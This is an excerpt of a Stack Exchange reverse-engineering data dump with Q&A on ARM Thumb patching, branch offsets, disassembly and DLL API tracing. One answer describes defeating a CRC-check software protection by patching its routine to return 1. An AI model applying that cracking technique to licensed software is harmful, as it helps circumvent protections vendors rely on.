  <row Id="9091" PostTypeId="2" ParentId="9089" CreationDate="2015-06-08T10:19:40.363" Score="1" Body="&lt;p&gt;You will have to learn MIPS assembly, and some information about the processor and the registers it uses (for example, opcodes are 3-operand, and &lt;code&gt;r0&lt;/code&gt; is always zero).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to add dynamic analysis to your efforts at static disassembly, you'll need the corresponding environment. For example, if your binary is a piece of old SGI IRIX software, a Linux MIPS system won't help you much, since calling conventions, file formats etc. are different. However, this doesn't neccesarily mean you need a MIPS processor, there are various &lt;a href=&quot;http://www.linux-mips.org/wiki/Emulators&quot; rel=&quot;nofollow&quot;&gt;emulators&lt;/a&gt; out there for MIPS devices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Especially in the case of MIPS under Linux, many routers use MIPS processors, and there are several of them that allow you to telnet or ssh in. So, in addition to running an emulator, you could try getting one of those devices, copying your binary there, and running it, possibly under the control of a debugger like gdb or IDA Pro (you need the professional version, the free version and the entry-level version don't support MIPS).&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-06-08T10:19:40.363" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9092" PostTypeId="1" AcceptedAnswerId="9093" CreationDate="2015-06-08T10:34:36.563" Score="5" ViewCount="981" Body="&lt;p&gt;Basically I want to replace &lt;code&gt;MOVS R1, #0x0&lt;/code&gt; with &lt;code&gt;MOV.W R1, #0x123&lt;/code&gt;, since later instruction requires 4 bytes it is impossible to simply replace in HEX code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using IDA Pro for analyzing native android library. I read about codecaves but my text segment don't have free space to add new data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since i'm newbie to this, any tutorials are welcome.&lt;/p&gt;&#xA;" OwnerUserId="12721" LastEditorUserId="2354" LastEditDate="2015-06-08T11:37:01.943" LastActivityDate="2015-06-08T11:37:01.943" Title="Replacing small length instruction with larger length instruction" Tags="|ida|android|arm|hex|patching|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9093" PostTypeId="2" ParentId="9092" CreationDate="2015-06-08T10:52:20.747" Score="7" Body="&lt;p&gt;As you need just 2 more bytes, you don't need a large code cave. Out of the box, there are four things you can try:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It's very likely you have a function or 2 in your text segment that are present in some source code, but never called. Look for &lt;code&gt;loc_XXXX&lt;/code&gt; labels that have the standard function prefix (&lt;code&gt;push ....,LR&lt;/code&gt;) and the suffix (&lt;code&gt;pop ....,PC&lt;/code&gt;) a few dozen bytes later. Reuse these functions for your code cave.&lt;/li&gt;&#xA;&lt;li&gt;Check if there are any redundant instructions in your code. Maybe you can omit 2 bytes somewhere nearby and move the rest around.&lt;/li&gt;&#xA;&lt;li&gt;Often, function starts are aligned to 16 byte boundaries. There might be a few spare bytes between your current function and the next. These can show up like &lt;code&gt;nop.w&lt;/code&gt; in assembly, or &lt;code&gt;f3af 8000&lt;/code&gt; in hex.&lt;/li&gt;&#xA;&lt;li&gt;You could use the text of a rarely used error message for your code cave. Replace &quot;ThisIsALongErrorMessage\0&quot; with &quot;LongError\0&quot; and you've gained some bytes, at the expense of the clarity of an error message you're never likely to see anyway. This is a bit harder, since your text is probably in some section that isn't marked executable, and you'll have to fiddle with the ELF headers to fix this.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-06-08T10:52:20.747" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9094" PostTypeId="1" AcceptedAnswerId="9095" CreationDate="2015-06-08T12:42:16.737" Score="6" ViewCount="11022" Body="&lt;p&gt;As the title says, how to calculate offsets for branch instructions?&#xA;For example i have following assembly code,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x60ECE    B loc_60EE6&#xA;;&#xA;;&#xA;;&#xA;0x60EE6    LDR.W R2, #0x123&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hex code for location &lt;code&gt;0x60ECE&lt;/code&gt; is &lt;code&gt;0A E0&lt;/code&gt;. i want to know how it is calculated. According to &lt;a href=&quot;https://stackoverflow.com/questions/6744661/understanding-arm-assembler-branch-offset-calculation&quot;&gt;https://stackoverflow.com/questions/6744661/understanding-arm-assembler-branch-offset-calculation&lt;/a&gt; , offset should be &lt;code&gt;04&lt;/code&gt; instead of &lt;code&gt;0A&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm working on android binary.&lt;/p&gt;&#xA;" OwnerUserId="12721" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2015-06-08T13:56:22.713" Title="Offset calculation for branch instruction in ARM" Tags="|ida|android|arm|offset|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9095" PostTypeId="2" ParentId="9094" CreationDate="2015-06-08T13:52:43.123" Score="5" Body="&lt;p&gt;The instruction format is in little-endian, so bytes &lt;code&gt;0A E0&lt;/code&gt; gets parsed as machine code &lt;code&gt;0xE00A&lt;/code&gt;, or &lt;code&gt;1110000000001010b&lt;/code&gt; in binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;https://ece.uwaterloo.ca/~ece222/ARM/ARM7-TDMI-manual-pt3.pdf&quot; rel=&quot;noreferrer&quot;&gt;the documentation for the THUMB Instruction Set&lt;/a&gt;, the first 5 bits (&lt;code&gt;11100b&lt;/code&gt;) decode to an &lt;strong&gt;unconditional branch&lt;/strong&gt; opcode, and the last 11 bits (&lt;code&gt;00000001010b&lt;/code&gt;) decode to &lt;strong&gt;Offset11&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2acj0.png&quot; alt=&quot;Unconditional branch&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As per the documentation above, the destination address is calculated as &quot;PC relative +/- Offset11 &amp;lt;&amp;lt; 1&quot; plus 4 for the prefetch operation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we do the math, we see that everything works out:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   0x60ECE + (00000001010b &amp;lt;&amp;lt; 1) + 0x4&#xA;== 0x60ECE +       10100b        + 0x4&#xA;== 0x60ECE +        0x14         + 0x4&#xA;== 0x60EE6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-06-08T13:52:43.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9096" PostTypeId="2" ParentId="9094" CreationDate="2015-06-08T13:56:22.713" Score="4" Body="&lt;p&gt;You're missing the fact that you're working in THUMB mode, where you have two bytes per instruction (for most instructions at least), and that link describes ARM mode, where every instruction has 4 bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(How do i know you're in THUMB mode? Apart from your last question, your &lt;code&gt;0x60ECE B loc_60EE6&lt;/code&gt; isn't 4-byte aligned, so it must be THUMB).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you add 4 bytes to the instruction at &lt;code&gt;loc_60ECE&lt;/code&gt;, you get &lt;code&gt;0x60ED2&lt;/code&gt;. Subtract this from &lt;code&gt;60EE6&lt;/code&gt; to get &lt;code&gt;14&lt;/code&gt;, or 20 decimal. Divide by 2 (2 byte instructions in THUMB mode) to get &lt;code&gt;10&lt;/code&gt; decimal, or &lt;code&gt;0A&lt;/code&gt; hex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As calculating offsets can be hard and is error-prone, i let the gnu arm assembler handle it for me.  First write an assembly file, like this (named q.s, choose any name you want):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.thumb&#xA;.arch armv7a&#xA;.syntax unified&#xA;.org 0x60ECE&#xA;    B codecave&#xA;original:&#xA;.org 0x60EE6&#xA;codecave:&#xA;movw R2, #0x123&#xA;B original&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then assemble it and check the result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;arm-linux-gnueabi-as q.s&#xA;arm-linux-gnueabi-objdump -s a.out | grep -v &quot;00000000 00000000 00000000 00000000&quot;&#xA;&#xA;Contents of section .text:&#xA; 60ec0 00000000 00000000 00000000 00000ae0  ................&#xA; 60ee0 00000000 000040f2 2312f1e7           ......@.#...    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You see your &lt;code&gt;0ae0&lt;/code&gt; at &lt;code&gt;60ece&lt;/code&gt;, and &lt;code&gt;40f22312f1e7&lt;/code&gt; at &lt;code&gt;60ee6&lt;/code&gt;. You can patch this in IDA directly, or use the &lt;a href=&quot;https://thesprawl.org/projects/ida-patcher/&quot; rel=&quot;nofollow&quot;&gt;idapatcher plugin&lt;/a&gt; to copy/paste the hex. I found this to be much easier than crafting the patched bytes manually.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-06-08T13:56:22.713" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9097" PostTypeId="2" ParentId="8665" CreationDate="2015-06-08T18:14:10.047" Score="3" Body="&lt;p&gt;&lt;strong&gt;possibilities:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Maybe the protection has been changed as @Guntram Blohm said.&lt;/li&gt;&#xA;&lt;li&gt;Have you checked your OllyDBG version. I guess this problem might have been occurred because your version doesn't support OS architecture or to be more specific, it doesn't have the proper plugins.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Suggestions:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Try to use &quot;R4ndoms_OllyDBG&quot; mod of OllyDBG... it's compatible with Win 7/8 x86/x64.&lt;/li&gt;&#xA;&lt;li&gt;Don't go after strings, try to go after the api (that you think it's being implemented), or you can look in the stack.&lt;/li&gt;&#xA;&lt;li&gt;Use another debugger like x64dbg or IDA Pro.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="11757" LastActivityDate="2015-06-08T18:14:10.047" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9098" PostTypeId="2" ParentId="9083" CreationDate="2015-06-08T19:46:27.473" Score="1" Body="&lt;p&gt;If there a protection that uses CRC check, try to put breakpoints on CRC addresses you've got from Krypto Analyzer (I recommend &lt;strong&gt;Keygener Assistant&lt;/strong&gt;) then see if they are hit. If so, see how to tackle them and you may change the whole routine to something like (in this example, eax is the register used after the routine call):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax,1&#xA;ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;P.S:&lt;/strong&gt; sometimes, the app will mess up if changed the routine and that routine is used inside other functions of the app.&lt;/p&gt;&#xA;" OwnerUserId="11757" LastActivityDate="2015-06-08T19:46:27.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9099" PostTypeId="1" AcceptedAnswerId="9100" CreationDate="2015-06-09T07:32:33.400" Score="2" ViewCount="620" Body="&lt;p&gt;I compile this code with Visual studio 2010 compiler:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &quot;stdafx.h&quot;&#xA;#include &amp;lt;iostream&amp;gt;&#xA;int main() {&#xA;   int *p;&#xA;   p = new int(255);&#xA;   delete []p;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The disassembly of it, is different from Dev C++. It seems it first checks if there is enough memory and then start the allocation. am I right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the disassembly : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jMZjB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Orange node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why &lt;code&gt;esi&lt;/code&gt; and &lt;code&gt;edi&lt;/code&gt; pushed to the stack?&#xA;I've seen &lt;code&gt;mov eax,0CCCCCCCCh&lt;/code&gt; before in books, What does this instruction do?&#xA;What does the highlighted part of the orange node do? Is it a check to see if there is enough available memory?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the blue node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;FFh&lt;/code&gt; is equal to &lt;code&gt;255&lt;/code&gt;, Can you explain how the memory is getting allocated?&lt;/p&gt;&#xA;" OwnerUserId="12671" LastActivityDate="2015-06-09T20:19:16.850" Title="Visual studio memory allocation reverse engineering" Tags="|disassembly|binary-analysis|c++|static-analysis|compilers|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9100" PostTypeId="2" ParentId="9099" CreationDate="2015-06-09T08:44:38.687" Score="7" Body="&lt;p&gt;You may want to read up on assembly before attempting to reverse engineer.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;esi&lt;/code&gt; and &lt;code&gt;edi&lt;/code&gt; are pushed on the stack because the compiler thought this routine modifies them. (It is wrong because only &lt;code&gt;edi&lt;/code&gt; is used. Still, better safe than sorry.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;mov eax,0cccccccch&lt;/code&gt; moves the value 0CCCCCCCCh into register eax. Which is actually kind of self-explanatory.  That instruction in itself does nothing particularly useful, and you should be careful to ask such questions. It is clear from the &lt;em&gt;next lines&lt;/em&gt; that the value gets stored into the Local Variable area, to fill it with a 'known' value, rather than having random values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The value 0CCCCCCCCh is used as a &lt;a href=&quot;https://stackoverflow.com/questions/17644418/why-is-the-stack-filled-with-0xcccccccc&quot;&gt;sentinel value&lt;/a&gt; and so if the context is &quot;it gets stored somewhere&quot;, then its purpose is to catch uninitialized pointers.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Again, time for an assembly refresher. The first highlighted line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add esp, 4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is not part of the following instructions, it's Stack Cleanup for the &lt;em&gt;previous&lt;/em&gt; instruction: the &lt;code&gt;call&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The lines &lt;code&gt;mov [ebp+var_E0], eax&lt;/code&gt; and &lt;code&gt;cmp [ebp+var_E0], 0&lt;/code&gt; have nothing to do at all with any kind of &quot;allocation&quot; or &quot;memory&quot;! All it does is save &lt;code&gt;eax&lt;/code&gt; – the return value of the previous &lt;code&gt;call&lt;/code&gt; – into a local variable, and then test if the value is 0. That is boilerplate generated code for&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var_E0 = new (uint);&#xA;if (var_E0 == 0)&#xA;   ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which is the only 'check' there is, and only &lt;em&gt;after&lt;/em&gt; attempting to allocate, not before.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;'Blue node': the code in assembler does what the C++ code is supposed to do. It &lt;em&gt;allocated&lt;/em&gt; space for a single integer before (the &lt;code&gt;push 4&lt;/code&gt; in the call to &lt;code&gt;new&lt;/code&gt;) and in the blue node, it &lt;em&gt;stores&lt;/em&gt; the value 255 into the newly allocated memory. If you expected it to allocate 255 bytes: well no. It does what the C++ code is supposed to do, which is explained in &lt;a href=&quot;https://stackoverflow.com/questions/13797926/what-does-new-int100-do&quot;&gt;What does &quot;new int(100)&quot; do?&lt;/a&gt; and the question of which it is marked a duplicate.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2959" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2015-06-09T20:19:16.850" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9101" PostTypeId="1" CreationDate="2015-06-09T12:49:34.500" Score="1" ViewCount="212" Body="&lt;p&gt;I am debugging an application. Another process is debugged by this application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the call &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00705435  FF15 C0007500  CALL DWORD PTR DS [&amp;lt;&amp;amp;KERNEL32.ContinueDebugEvent&amp;gt;] &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to change call to &lt;code&gt;DebugActiveProcessStop&lt;/code&gt;, what should I do ?&lt;/p&gt;&#xA;" OwnerUserId="11763" LastEditorUserId="53" LastEditDate="2015-06-09T23:30:38.260" LastActivityDate="2015-06-09T23:30:38.260" Title="How to call DebugActiveProcessStop from disassembled code?" Tags="|disassembly|ollydbg|debugging|windbg|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="9102" PostTypeId="1" CreationDate="2015-06-10T06:03:14.243" Score="1" ViewCount="216" Body="&lt;p&gt;In WinHex, I can use the Data Interpreter tool to see the numeric interpretation of data starting from the currently selected byte. This considerably simplifies the initial analysis of the data structures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Edug1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a similar way to quickly lookup basic type values in Wireshark without having to define or export the underlying data structures first?&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2015-06-10T12:37:49.253" Title="Raw numeric data interpretation in Wireshark" Tags="|wireshark|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9104" PostTypeId="2" ParentId="9102" CreationDate="2015-06-10T12:37:49.253" Score="2" Body="&lt;p&gt;In a word: &lt;strong&gt;no&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wireshark's design includes the fundamental notion of a &lt;em&gt;dissector.&lt;/em&gt; Each dissector is responsible for the interpretation of streams of bytes according the the corresponding protocol, so an IEEE 802.3 frame, for instance, is correctly broken into its constituent pieces based on the definitions in that standard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;However,&lt;/strong&gt; it is possible (and encouraged!) to write one's own dissectors and to contribute them to the project, so one can imagine writing a dissector that would present the data somewhat in the manner you've described.  Because the typical dissector interprets each byte in only one way, a dissector for the purpose you describe would have to be a little different than the usual, but not impossible.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another possibility would be to add a Lua extension.  Recent versions of Wireshark incorporate a Lua interpreter and Lua scripts have access to the underlying data.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although I've written both dissectors and Lua scripts, my own experience is much more with dissectors than scripts; for that reason, I'd probably attempt this as a dissector if I were to write it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option would be to export the raw binary for particular packets and then use either WinHex or a more specific tool such as &lt;a href=&quot;http://www.netzob.org/&quot; rel=&quot;nofollow&quot;&gt;Netzob&lt;/a&gt; to aid in reverse engineering the protocol.&lt;/p&gt;&#xA;" OwnerUserId="3557" LastActivityDate="2015-06-10T12:37:49.253" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9107" PostTypeId="1" CreationDate="2015-06-10T16:46:18.710" Score="1" ViewCount="105" Body="&lt;p&gt;Sorry if this is posted in the wrong section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A little about me: I'm going to be a sophomore in the fall at university, my major is Computer Science (Information Assurance). I've been interested in malware/antivirus since the sixth grade. I remember removing the McAfee security software from my family computer and replacing it with other vendors (kaspersky, bitdefender, eset, etc). I also used to watch youtube reviews of said vendors and other antimalware software, and have just recently acquired my own Virtual Machine and I install malware on there and use different products to see which can best remove the malware.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, how would you suggest I go about becoming a malware analyst? I've made a list of books to study (pratical malware analysis, art of memory forensics, malware rootkits, botnets: a beginners guide, etc). I also like to read kaspersky's theatpost and malwarebytes' blog, any other tips to get me started in my dream career?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I plan on getting my Masters in Information Assurance, how much will that help me in terms of material learned and job competitiveness?&lt;/p&gt;&#xA;" OwnerUserId="12745" LastActivityDate="2015-06-10T16:46:18.710" Title="How do I become a Malware Analyst?" Tags="|ida|assembly|ollydbg|malware|" AnswerCount="0" CommentCount="2" ClosedDate="2015-06-12T06:47:35.883" ContentLicense="CC BY-SA 3.0" />
  <row Id="9108" PostTypeId="1" CreationDate="2015-06-10T16:59:59.460" Score="2" ViewCount="785" Body="&lt;p&gt;I would like to get to the code that makes floats and doubles work. The reason why I'm trying is that I need to introduce a new floating point type defined by the military that is not supported natively by Microsoft.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has this been done before or is this even possible? If so, is there files that I can retrieve or steps to follow to do it myself?&lt;/p&gt;&#xA;" OwnerUserId="12744" LastActivityDate="2016-08-07T11:02:26.780" Title="Reverse Engineer Float and Double Types in C++" Tags="|c++|float|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9112" PostTypeId="2" ParentId="9108" CreationDate="2015-06-10T20:46:43.653" Score="1" Body="&lt;p&gt;The &lt;a href=&quot;http://en.wikipedia.org/wiki/IEEE_floating_point&quot; rel=&quot;nofollow&quot;&gt;IEEE 754&lt;/a&gt; standard describes how the floating point representation works under the hood.&lt;/p&gt;&#xA;" OwnerUserId="11799" LastActivityDate="2015-06-10T20:46:43.653" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9113" PostTypeId="1" CreationDate="2015-06-10T20:51:57.377" Score="11" ViewCount="8217" Body="&lt;p&gt;There's a piece of software, for which I only have the binary, not the source code. It's:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;unobfuscated (so, not polymorphic or anything. It is optimized a bit, though)&lt;/li&gt;&#xA;&lt;li&gt;unstripped&lt;/li&gt;&#xA;&lt;li&gt;x86 32 bit&lt;/li&gt;&#xA;&lt;li&gt;trustworthy (not suspected malware)&lt;/li&gt;&#xA;&lt;li&gt;compiled from C++ (based on contents of symbol table)&lt;/li&gt;&#xA;&lt;li&gt;probably uses JNI (a couple reasons; partly because it has a fair number of its strings in UTF-16)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I don't need the full call graph, just the call graph / control flow when given certain arguments. The only reverse engineering I've done has been relatively basic stuff with binutils + gdb + strace. Essentially, I just need a piece of software to match up 'call' and 'ret' pairs, and translate 'call' instruction destinations to their human-readable symbol names. Hopefully generate a readable 2D graph image to give me a feel for app execution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, something to map control flow. It is just a single binary (with some dynamic library dependencies), but it's large enough that manual traces would be prohibitively labor-intensive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; I don't want to have to pay for anything or run windows to do this. If at all possible, I'd like to be able to run something natively on Linux.&lt;/p&gt;&#xA;" OwnerUserId="12748" LastEditorUserId="12748" LastEditDate="2015-06-10T21:55:41.013" LastActivityDate="2021-01-06T14:27:44.823" Title="How can I generate a call graph from an unstripped x86 Linux ELF?" Tags="|x86|linux|elf|visualization|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9114" PostTypeId="1" CreationDate="2015-06-10T20:53:04.180" Score="0" ViewCount="736" Body="&lt;p&gt;Since IDA pro has the Hex dump tab I am carious to know is there any way to import hex dump into IDA pro and watch its assembly instructions?&lt;/p&gt;&#xA;" OwnerUserId="8671" LastActivityDate="2015-06-10T21:05:53.973" Title="Import hexdump into IDA pro" Tags="|ida|ida-plugin|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9115" PostTypeId="2" ParentId="9114" CreationDate="2015-06-10T21:00:45.517" Score="1" Body="&lt;p&gt;Import your hexdump as binary, and press &quot;C&quot; to force the disassembler to process your instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mBlpM.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11799" LastEditorUserId="11799" LastEditDate="2015-06-10T21:05:53.973" LastActivityDate="2015-06-10T21:05:53.973" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9116" PostTypeId="2" ParentId="9113" CreationDate="2015-06-10T21:05:18.183" Score="4" Body="&lt;p&gt;You can use &lt;a href=&quot;https://www.hex-rays.com/products/ida/&quot; rel=&quot;nofollow noreferrer&quot;&gt;IDA Pro&lt;/a&gt; to generate call graphs:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ii1sf.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ii1sf.gif&quot; alt=&quot;Call graph&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&#xA;&lt;sub&gt;(source: &lt;a href=&quot;https://www.hex-rays.com/products/ida/pix/pc10.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;hex-rays.com&lt;/a&gt;)&lt;/sub&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="13506" LastEditDate="2020-12-29T07:34:58.287" LastActivityDate="2020-12-29T07:34:58.287" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="9117" PostTypeId="1" AcceptedAnswerId="9118" CreationDate="2015-06-10T22:01:21.820" Score="2" ViewCount="1557" Body="&lt;p&gt;I'm working on a sensor with &lt;a href=&quot;http://en.wikipedia.org/wiki/Peripheral_Sensor_Interface_5&quot; rel=&quot;nofollow&quot;&gt;PSI5&lt;/a&gt; interface and I'm using &lt;a href=&quot;http://www.seskion.de/wwwpub/produkte/psi5/simulyzer.php?lang=en/&quot; rel=&quot;nofollow&quot;&gt;PSI Simulyzer&lt;/a&gt; box to simulate the environment during testing. This box comes with a &lt;a href=&quot;http://www.seskion.de/images/PSI5Simulyzer1_4.jpg&quot; rel=&quot;nofollow&quot;&gt;software&lt;/a&gt; (some sort of digital oscilloscope) to make the measurements, but API header files and libraries are also provided. My intent is to use this API to automate non-regression test measurements.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This API is very poorly documented - it's basically a doxygen generated from the header file. I'm trying to guess the missing details, but some things just won't work in my software. Namely, I don't seem to be able to switch between synchronous and asynchronous modes, while the original software has a drop-down which works just fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I decided to analyze the original software by placing breakpoints to several (about 20) DLL functions which seem to be related to configuration in Visual Studio debugger, and note which of these functions are called, and with which arguments. I didn't succeed so far - when I call the same functions with the same arguments on my side, communication mode won't change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I think causes my approach to fail:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I didn't set the breakpoints to all functions (there are about 100 of them)&lt;/li&gt;&#xA;&lt;li&gt;I didn't analyze the calls from the beginning. Maybe there is some sort of pre-config sequence which I'm missing.&lt;/li&gt;&#xA;&lt;li&gt;Some functions take pointer arguments (e.g. &lt;code&gt;int16_t *config&lt;/code&gt;) and I have no idea how many bytes I need to provide them. Maybe they point to structures with more pointers inside, which I cannot guess.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I see how to overcome issues 1 and 2, but doing such extended analysis by hand is too time-consuming. Is there a way to automate the process of setting breakpoints to all functions of a DLL, and log the arguments when these functions are called? Maybe there is a debugger more adapted to this task than Visual Studio?&lt;/p&gt;&#xA;" OwnerUserId="12731" LastEditorUserId="12731" LastEditDate="2015-06-10T22:07:25.837" LastActivityDate="2015-06-10T22:11:41.080" Title="How to analyse a poorly documented DLL API?" Tags="|debugging|c++|dll|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9118" PostTypeId="2" ParentId="9117" CreationDate="2015-06-10T22:11:41.080" Score="4" Body="&lt;p&gt;My first recommendation would be to contact the vendor and ask them your questions. You paid for the product and its SDK, so if the latter is not usable, they should offer support to you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for monitoring DLL function calls, I'd recommend using &lt;a href=&quot;http://www.rohitab.com/apimonitor&quot; rel=&quot;nofollow noreferrer&quot;&gt;API Monitor&lt;/a&gt; and its &lt;em&gt;External DLL Filter&lt;/em&gt; functionality. It won't solve everything for you since you'd still need to figure out how many arguments are expected for each DLL function (you can extract that information with IDA), but I think it'll get you 90% of the way there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ObEU0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-06-10T22:11:41.080" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
